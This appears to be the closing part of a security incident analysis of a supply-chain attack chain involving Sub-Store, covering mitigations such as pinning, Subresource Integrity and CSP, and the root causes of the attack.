Applications that download a Sub-Store bundle should pin and verify it with a trusted signature or digest. Pulling releases/latest without a pinned version or integrity check creates unnecessary supply-chain exposure. No evidence connects that updater to this campaign.

Website owners should self-host executable JavaScript or enforce Subresource Integrity on third-party CDN files. Pin the hash, set a restrictive Content Security Policy, and audit every tag manager, template, theme, and external script.

Root causes

The attack combined failures that were already dangerous on their own: unpinned third-party JavaScript, a localhost service that trusted every browser origin, a script feature with Node.js access, and DLL sideloading through a signed executable.

Together, they let a normal website visit reach code execution inside a desktop application without opening Sub-Store or approving a prompt. The mobile appendage separately served Coruna to iOS 13 through 17.2.1, DarkSword to iOS 18.4 through 18.7.2, and a traffic rotator.

Sources

Kabir Acharya